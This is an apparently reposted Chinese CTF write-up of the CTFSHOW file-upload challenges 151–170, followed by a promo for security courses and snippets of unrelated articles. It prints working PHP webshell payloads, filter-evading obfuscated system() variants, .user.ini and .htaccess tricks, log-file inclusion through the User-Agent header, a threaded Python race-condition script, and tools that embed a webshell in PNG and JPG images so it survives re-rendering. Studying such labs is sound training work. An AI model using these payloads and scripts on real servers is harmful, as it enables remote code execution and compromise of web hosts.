文件上传漏洞(全网最详细)

目录

前言

文件上传漏洞介绍

文件上传漏洞危害

文件上传漏洞满足条件

文件检测流程

CTFSHOW 151关-170关

151关:前端验证绕过

152关:后端校验 Content-Type 校验文件格式

153关:filename字段文件后缀校验

154关:关键字过滤

155关:关键字过滤

156关:过滤关键字

157关:过滤关键字

158关:过滤关键字

159关:过滤关键字

160关:日志文件包含

161关:文件头检测

162关:过滤 .

163关:条件竞争

164关:二次渲染

165关:二次渲染

166关:上传zip格式

167关:. htaccess文件绕过

168关:考验免杀

169关:日志包含

170关:和169一摸一样


前言

自从学完文件上传后,寻思总结一下,但一直懒惰向后推迟,最近要准备面试了,就趁此机会写一下。

文件上传漏洞介绍

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

这种攻击方式是最为直接和有效的,所以我们需要思考的是如何绕过检测和过滤。

文件上传漏洞危害

  1. 上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
  2. 上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;
  3. 上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
  4. 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
  5. 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

文件上传漏洞满足条件

上传的后门文件,需要能被脚本语言解析执行。

  • 说明一:对方服务器运行的PHP环境,你不能上传一个JAVA的后门代码。
  • 说明二:你上传文件的目录可以被脚本语言解析执行,如果你上传的目录没有执行权限也不行
  • 说明三:一般文件上传后会返回你一个地址,如果无妨链接到也不能构成文件上传漏洞。

还有例外情况,非脚本文件也能被成功解析。比如:上传了一个图片🐎,如果对方中间件上存在一些漏洞的话,配合这些漏洞可以实现图片文件按照脚本文件解析。

文件检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求后并同意后,用户与web 服务器将建立连接,并传输data:

而一般一个文件上传过程中的检测如下图红色标记部分:

检测的内容一般有一下几个方面:

  1. 客户端 javascript 检测 (通常为检测文件扩展名)
  2. 服务端 MIME 类型检测 (检测 Content-Type 内容)
  3. 服务端目录路径检测 (检测跟 path 参数相关的内容)
  4. 服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
  5. 服务端文件内容检测 (检测内容是否合法或含有恶意代码)

CTFSHOW 151关-170关

151关:前端验证绕过

前端代码,限制只允许上传图片。

修改png为php即可绕过前端校验。

最后会返回一个地址,使用蚁剑链接

读取flag

152关:后端校验 Content-Type 校验文件格式

前端修改,抓取上传数据包,并且修改 Content-Type

上传成功

后门链接读取flag

153关:filename字段文件后缀校验

按照刚刚提到的文件上传成因来说,如果加入了php后缀校验的话,路就被封死了。但还有另外一条路,就是非php文件后缀解析按照php进行解析。

文件后缀校验解决思路:引入 user.ini 文件

根据网上查到的信息,user.ini文件中有个字段 auto_prepend_file 它可以把指定文件文件加载到网站的首页,是根目录的首页。

我们可以得到的信息:通过这个字段可以把文件与你上传的目录首页文件一起加载,被php脚本执行解析。

由此我们得出结论,user.ini文件使用的限制条件:

  1. 上传.user.ini的目录必须有设置默认首页
  2. php版本必须要在5以上

使用user.ini文件的好处:

  1. 可以突破文件后缀的检测
  2. 可以突破图片目录不给解析执行权限的限制

详细利用手法如下:

上传user.ini文件

上传后门图片文件

后门链接读取flag

154关:关键字过滤

手法和153关一样,不同点在在于增加了对图片内容的检测,检测图片的数据里有没有恶意的代码。经过尝试发现,过滤了php。

绕过方法:

<? echo '123';?> //前提是开启配置参数short\_open\_tags=on <?=(表达式);?> //不需要开启参数设置

<% echo ‘123’;%> //前提是开启配置参数asp_tags=on

//不需要修改参数开关
构造payload:<?=eval($_POST[x]);?>    

再次上传后门文件,读取flag即可

155关:关键字过滤

和上一关一模一样,不再赘述。

156关:过滤关键字

和第153关手法一样,结合上传 .user.ini 但是过滤的内容变了

经过尝试过滤的内容发现是 [] 绕过的手法可以参考第154关列举出来的方法

解决思路: [] == {}

构造payload:<?=eval($_POST{x});?>

链接后门读取flag即可

157关:过滤关键字

和第153关手法一样,结合上传 .user.ini 但是过滤的内容变了

经过尝试发现过滤的 ; 与 [] ,分号一旦被过滤就意味着154关的四种过滤手法失效

解决思路:直接调用系统的命令

构造payload:<?=system('tac ../flag.*')?>

直接访问upload命令就能看到结果

158关:过滤关键字

和157关一摸一样

159关:过滤关键字

和第153关手法一样,结合上传 .user.ini 但是过滤的内容变了

在上一关过滤的基础上,加入了对()的过滤,同时还过来了 flag.php

解决思路:使用反引号,结合通配符

构造payload:<?=`tac ../fl*`?>

160关:日志文件包含

这一关连反引号都过滤了,1.png里面包含后门的全部失效。

Nginx一般会记录日志,日志会记录访问者的UA头,所以我们可以把后门代码写到UA头里面,然后利用.user.ini来包含日志文件,Nginx默认日志位置/var/log/nginx

首先上传文件.user.ini,在上传图片

图片中的内容

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这时访问upload目录,得到了nginx日志信息

此时我们可以在UA头中写入后门代码。 将日志文件包含解析,我们将UA写入日志文件,进而解析后门代码

161关:文件头检测

加上了对文件头的检测,GIF89A,

解决思路:在上传的文件中加入,GIF89A,再延续160关的思路即可

162关:过滤 .

这一关不仅是检测了文件头,也过滤了()[]{}.这些,所以我们可以将.user.ini的内容写为

GIF89a
auto_prepend_file=png

我们可以远程包含文件,然后这个文件里面有一句话木马,这边需要用到IP转换地址,将IP转换为纯数字 网址:在线ip转int,ip转数字-BeJSON.com

GIF89a
<?=include'http://IP转换/文件名'>

读取flag

163关:条件竞争

参考文章:利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

如果网站的文件上传的过程是:服务器获取文件–>保存上传临时文件–>重命名移动临时文件 这样的步骤时,就可以通过不断地对文件进行上传和访问,从而使服务器还未重命名移动临时文件时,我们就利用时间差打开了文件,成功执行其中的恶意代码。

再php.ini中有以下几个选项目:

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.use_strict_mode=off

这五个开启后,可以达到我们可以控制sessionid这个参数,并且可以创建session文件,我们就可以把恶意代码写入session文件中,在它被删除之前,通过不断发包访问来使session文件被包含。

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
	'file':'toxicant'
}
cookies={
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

因为session文件名字,前半部分固定,后半部分是sessionid,这部分我们是可以控制的。开启两个线程,一个不断上传文件,另外一个不断访问触发,如果session文件成功被包含后,那么我们就可以访问成功,执行读取flag.php的代码,得到flag。

先上传.user.in文件

GIF89a
auto_prepend_file=png

再上传png,条件竞争的利用,还需要满足条件,知道对方session文件的目录。

GIF89a
<?=include"/tmp/sess_toxicant"?>

我这里的利用代码一直没跑出来结果,所以就暂且先放放。

164关:二次渲染

文件二次渲染:当你上传一个图片后,服务器会对图片进行处理,你的后门也就很可能被处理了

解决思路:使用脚本,有人分析了图片处理的规律,使用脚本可以把后门代码写入图片而不被处理

可以利用工具来将木马插入到图片中,工具代码如下,将代码放置到PHP环境中执行即可

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

上传成功之后访问图片地址,在后面加入&0=system,1=tac flag.php,这个1=需要用POST方式提交

关于为什么这个图片能被php解析?

查看download.php的源代码

我们想要查看的图片被包含进入了download.php文件

165关:二次渲染

和上一关一个套路,只不过这次是jpg

<?php
    $miniPayload = "<?=eval(\$_POST[1]);?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
    set_error_handler("custom_error_handler");
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

166关:上传zip格式

直接上传一个 shell.php ,内容为后门文件,链接即可。

这里也是对这个zip文件进行了文件包含,导致这个zip文件可以被加载。

167关:. htaccess文件绕过

.htaccess 默认不支持 nginx,设置后支持,默认支持Apache,.htaccess 可以通过设置实现nginx文件解析配置,将.png 后缀的文件解析成 php。

首先先上传 .htaccess 文件

AddType application/x-httpd-php .jpg //htaccess文件内容

上传含有后门的图片

链接后门读取flag

168关:考验免杀

这个可以直接上传php文件,我们对payload进行处理,使其可以不被杀死

payload1:
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>

payload2:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

payload3:
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

payload4:
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

上传后门文件

文件上传成功,链接后门读取flag

http://3af2a636-8362-4c0b-9147-de822c7ddc9d.challenge.ctf.show/upload/test.php?1=cat ../flagaa.php

169关:日志包含

这一关上传了.user.ini之后,访问upload目录显示403,所以我们需要上传一个index.php,构造.user.ini利用条件:上传index.php 内容随意。上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

这里其实和160的文件包含是一样的。只是我们需要上传index.php配合.user.ini

爆出403的错误就以为着当前目录的目录文件缺失。

170关:和169一摸一样

完结撒花!!!

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以V扫描下方二维码联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

需要详细路线图的,下面获取

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的下面获取

### 3️⃣Python面试集锦

① 面试资料

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

------ 🙇‍♂️ 本文转自网络,如有侵权,请联系删除 🙇‍♂️ ------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/313708.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

18_类加载

文章目录 类加载器类加载时机Java代码的3个阶段 反射关于Class配置文件(.properties)Properties类通过反射获取构造方法(Constructor)通过反射获取成员变量(Field)通过反射获取成员方法(Method) 其他API自定义类加载器反射的应用 类加载器 分类&#xff1a; Bootstrap ClassLo…

Visual Studio中项目添加链接文件

这个需求在VS里面使用还真不多见&#xff0c;只是最近在做项目的版本编号的时候遇到一个头大的问题&#xff0c;我一个解决方案下面有几十个类库&#xff0c;再发布的时候这几十个类库的版本号必须要统一&#xff0c;之前我们都是在单个的AssemblyInfo.cs里面去改相关的信息&am…

轻量级图床Imagewheel本地部署并结合内网穿透实现远程访问

文章目录 1.前言2. Imagewheel网站搭建2.1. Imagewheel下载和安装2.2. Imagewheel网页测试2.3.cpolar的安装和注册 3.本地网页发布3.1.Cpolar临时数据隧道3.2.Cpolar稳定隧道&#xff08;云端设置&#xff09;3.3.Cpolar稳定隧道&#xff08;本地设置&#xff09; 4.公网访问测…

Echarts的常用API,以及常用的写法

ECharts是一款基于JavaScript的开源可视化库&#xff0c;用于构建交互式的图表和可视化数据。它提供了丰富的API用于定制图表和处理数据。下面是一些常用的ECharts API和写法的简介&#xff1a; 初始化图表容器&#xff1a; var myChart echarts.init(document.getElementBy…

win11更改桌面默认存储路径

打开文件资源管理器 右击桌面点击属性 在属性中找到位置选项卡&#xff0c;在里面有一个移动&#xff0c;点击它选择你想要的位置 选好位置后点击应用&#xff0c;随后会出现一个进度条&#xff0c;跑完后点击确认 到这里就完成了桌面默认位置的转移

在windows11系统上利用docker搭建linux记录

我的windows11系统上&#xff0c;之前已经安装好了window版本的docker&#xff0c;没有安装的小伙伴需要去安装一下。 下面直接记录安装linux的步骤&#xff1a; 一、创建linux容器 1、拉取镜像 docker pull ubuntu 2、查看镜像 docker images 3、创建容器 docker run --…

2024 年 1 月安全更新修补了 58 个漏洞(Android )

谷歌发布了针对 Android 平台 58 个漏洞的补丁&#xff0c;并修复了 Pixel 设备中的 3 个安全漏洞&#xff0c;拉开了 2024 年的序幕。 Android 2024 年 1 月更新的第一部分以 2024 年 1 月 1 日安全补丁级别发布在设备上&#xff0c;解决了框架和系统组件中的 10 个安全漏洞&…

高级分布式系统-第6讲 分布式系统的容错性--故障/错误/失效/异常

分布式系统容错性的概念 分布式系统的容错性&#xff1a; 当发生故障时&#xff0c; 分布式系统应当在进行恢复的同时继续以可接受的方式进行操作&#xff0c; 并且可以从部分失效中自动恢复&#xff0c; 且不会严重影响整体性能。 具体包括以下4个方面的内容&#xff1a; 可…

redis — redis cluster集群模式下如何实现批量可重入锁?

一、redis cluster 集群版 在Redis 3.0版本以后,Redis发布了Redis Cluster。该集群主要支持搞并发和海量数据处理等优势,当 Redis 在集群模式下运行时,它处理数据存储的方式与作为单个实例运行时不同。这是因为它应该准备好跨多个节点分发数据,从而实现水平可扩展性。具体能…

【科研技巧】如何判断某个期刊是什么类别及影响因子?是否是顶会?如何期刊内检索?AI写综述?AI做PPT?

相关链接 查找和免费下载文献的方式汇总国内外各大期刊关系、如何查看期刊等级以及查看某篇论文属于哪个期刊登录和访问EI(Engineering Village)数据库查找文献 1 如何判断某个期刊是什么类别及影响因子 https://sci.justscience.cn/ IFold是影响因子 期刊类别为SCIE、查看…

在线ai扩图是什么?有什么工具?分享3个好用的工具。

在线ai扩图是什么&#xff1f;有什么工具&#xff1f;分享3个好用的工具。 在当今数字化的时代&#xff0c;图像处理成为了我们日常生活和工作中不可或缺的一部分。有时候&#xff0c;我们需要将图像放大以获取更多的细节&#xff0c;但传统的方法往往会导致图像质量的损失。幸…

Nginx服务配置文件

在Nginx服务器的主配置文件/usr/local/nginx/conf/nginx.conf 中&#xff0c;包括全局配置、I/O事件配置 和HTTP配置这三大块内容&#xff0c;配置语句的格式为“关键字 值&#xff1a;”&#xff08;末尾以分号表示结束&#xff09;&#xff0c;以“#” 开始的部分表示注释。 …

小手也能用的高性能鼠标,自定义空间还挺高,雷柏VT9Pro mini上手

今年搭载PAW3395传感器的电竞鼠标很受欢迎&#xff0c;雷柏就出了不少型号&#xff0c;满足各种喜好的玩家选择&#xff0c;像是近期新出的搭载3395高定版的VT9Pro和VT9Pro mini&#xff0c;就在轻量化的基础上&#xff0c;满足了各种手型的玩家的使用需要&#xff0c;而且价格…

2024年美妆品牌如何突破营销困境,强势突围?

随着人们消费观念的升级&#xff0c;美妆护肤几乎成为人们的日常标配&#xff0c;不仅仅女性还有男性也开始注重管理&#xff0c;美妆产品的目标消费群体在不断扩大&#xff0c;对产品的要求也逐渐多元化&#xff0c;在这一趋势下&#xff0c;2024年美妆品牌怎么做才能突破营销…

《MCtalk·CEO对话》正式上线!首期对话高成资本

2015 年 10 月&#xff0c;网易智企发布第一款产品&#xff0c;正式踏上了 ToB 商业化之路。从那以后&#xff0c;我们每年举办不同主题的科技峰会&#xff0c;分享最新的行业体感和洞察&#xff1b;访谈各界企业领导者&#xff0c;记录他们的创新与创业经历&#xff1b;走过大…

从车联网到智慧城市:智慧交通的革新之路

一、引言 1、智慧城市的概念和发展背景 智慧城市&#xff08;Smart City&#xff09;是指以信息技术为基础&#xff0c;运用信息与通信等手段&#xff0c;对城市各个核心系统各项关键数据进行感测、分析、整合和利用&#xff0c;实现对城市生活环境的感知、资源的调控&#x…

web3d-three.js场景设计器-sprite广告牌

three.js使用Sprite精灵实现文字或者图片广告牌1.将文字绘制到Canvas&#xff0c;调整对应宽高。2.作为Cavans材质绑定到Sprite3.加载到场景调整适当的scale function createLabel({ text, fontSize, textColor, color, imageUrl }) { return new Promise((resolve, reject) &…

linux下can调试工具canutils编译安装

命令安装只需要 sudo apt-get install canutils 一、下载源码 下载canutils和libsocketcan libsocketcan地址&#xff1a;https://public.pengutronix.de/software/libsocketcan/libsocketcan-0.0.11.tar.bz2 #0.0.11版本 canutils地址&#xff1a;https://public.pengutronix…

数据分析师面试必备,数据分析面试题集锦(六)

经常会被问到&#xff0c;“数据分析需要学习什么技能&#xff1f;”&#xff0c;“针对实际的业务场景&#xff0c;如何使用数据分析工具去分析&#xff1f;”基于此作者总结数据分析面试常用的问题&#xff0c;面试内容包括技能应用篇&#xff1a;EXCEL、SQL、Python、BI工具…

基于springboot+vue的网上花卉商城系统(Java毕业设计)

大家好&#xff0c;我是DeBug&#xff0c;很高兴你能来阅读&#xff01;作为一名热爱编程的程序员&#xff0c;我希望通过这些教学笔记与大家分享我的编程经验和知识。在这里&#xff0c;我将会结合实际项目经验&#xff0c;分享编程技巧、最佳实践以及解决问题的方法。无论你是…